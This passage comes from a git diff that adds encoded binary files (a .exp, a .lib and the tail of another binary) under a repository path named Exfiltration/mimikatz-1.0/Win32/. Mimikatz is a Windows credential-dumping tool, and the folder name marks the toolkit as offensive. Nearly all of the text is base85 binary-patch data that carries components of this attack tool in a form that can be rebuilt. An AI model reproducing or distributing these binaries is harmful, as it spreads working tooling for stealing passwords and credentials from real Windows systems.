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 ZEO5#Krz~*F0;eo+$^xe>@NZk-zX6WhXNLd) literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.exp b/Exfiltration/mimikatz-1.0/Win32/klock.exp new file mode 100644 index 0000000000000000000000000000000000000000..947406f831ac1bc154d2c941308f9477f717f0c1 GIT binary patch literal 1013 zcmbtS%Wl&^6unM>@F&O?O_ ze}TlJ-_;*r&li+?XW}%<3W+P<<8zPfnfp4jD&YL=om^A^?twPTVWC%eCLsKQ9-{xI z0Br-ki;ojBe-br@q>+8I06wFyS{LrWq?qm~b^7Gm!b|Pn-WF7#3bBwu?1Vx93&vg= zF^E`k$nrq(tl%9e^-q7qR;vLQQ zHPRm~WYmQk^#N{bwug9EvqQvNn$h`x&?T1q0jxSwIC$>9;l+63y8}66YB**>yqafB z@r0#?C){2-l`-2s<_V9z;>=AJWV`LO+>bon-EmC^*gS(LuwSp?sZ^6O%3n?`IOc(p zx%^Vt&66$rsMmi7=kTHq!7TjG90d23#}#L}Nd(xO(UAisBjqLbYc5!BH|L#aTkcgB zr#zo{!X6frkW0JW!eUMjT%V_|;A!m88L$bRI&H_O9PA?$XmF#o2|qxcN?z!C)ElT# z!$*4N-9RRp!$Ud!1(%o9pw+deORA8c^}PhI9bjY>6=hQlfEJ-t%vZD!r80Z3LV&kR zrO|Jpwc*p6vIG8_vI}3=ls)*qRF-9m6I|)L;F& BymtTq literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/klock.lib b/Exfiltration/mimikatz-1.0/Win32/klock.lib new file mode 100644 index 0000000000000000000000000000000000000000..40c5c8d35f59b102b5fba5d2bcb43bcaccbed841 GIT binary patch literal 2194 zcmcIlPj3=I6#p&%iynwI9yA(Eny42g>){b z=hq68_Ow(p*^KP%#{t{`0((H{7zm#Lv5ctEGk|O4T-0cj^rm5yH@CNHb))oV=XI^T zUEiu1y}oVsU>MciO6BS>J~-oIwElLtx?z;o>+9ri9SjX)Xbn1$t*~_3<5K&uH@1f` z{CzRnHoJ{Mrwv1O{IkrFH5^;^z@4e|g)!1SjG_e6UH~`_0ViP~69dl3cpd?oBnd!h z2q1ze!U!oDq#PGUOTuzZcK)0NQo;NS%C)FQJR)QmoK&mbeBW8w5i0PKIv-s{$|4f4QdX-mZmbXkMY&Dl8`Ymu50We* zeJcG{r5Q})UsPQ`wil5+r9(pkORQo^CG`l)2|iO^jSJ7Vk8W*R=Ey#@-;I-xYfqAu za&^NQz0}+!ohR}FbZMMkf?DDQ*;EV^P5WR-`?QZfyH&btXTR^RBIQ5Cb{;(MQP>$2Toldhnglb+zaC%7ipDHlb~1~3ABtKS z3$t8bogU*Z#n9+Aln=0akiAfe>)Y{(jG-s6TjC}aP3vv|a I6Y`|mS=wN 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 